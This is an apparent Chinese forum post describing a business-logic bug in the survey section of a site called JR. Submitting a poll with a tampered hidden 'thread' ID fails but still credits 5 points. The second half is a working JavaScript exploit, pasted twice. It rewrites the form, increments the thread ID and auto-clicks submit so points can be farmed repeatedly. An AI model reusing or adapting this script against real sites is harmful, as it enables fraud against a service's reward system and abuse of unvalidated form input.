中午闲来无事,在JR上瞎逛,发现了[调查]栏目的一个bug。
每个页面提交调查表单时是根据表单中的一个叫做thread的hidden来决定帖子ID的,我用maxthon的javascript调试台尝试修改了thread的value后重新提交,页面跳转到error page,刷新了一下可用分,居然增加了5分。这说明JR的后台是将提交调查和增加可用分的操作分开执行的,正常情况下应该先判断调查提交正确与否后再能做增加可用分的操作,看来JR犯了一个错误,当提交后应该先判断thread的业务逻辑有效性后在进行下一步的操作,因为没有判断,导致后面的操作抛出异常。
我把代码修饰了一下,现在可以狂点鼠标就能增加可用分了
var e = document.forms[0];
e.target='_blank';
var s = document.getElementById('thread').value;
s = parseInt(s) + 1;
e.innerHTML = '<input type="hidden" id="thread" name="thread" value="" /><input type="radio" name="option" value="15" checked /><p><input type="submit" name="voteSubmit" id="voteSubmit" value="投票">';
document.getElementById('thread').value=s;
document.getElementById('voteSubmit').click();
e.target='_blank';
var s = document.getElementById('thread').value;
s = parseInt(s) + 1;
e.innerHTML = '<input type="hidden" id="thread" name="thread" value="" /><input type="radio" name="option" value="15" checked /><p><input type="submit" name="voteSubmit" id="voteSubmit" value="投票">';
document.getElementById('thread').value=s;
document.getElementById('voteSubmit').click();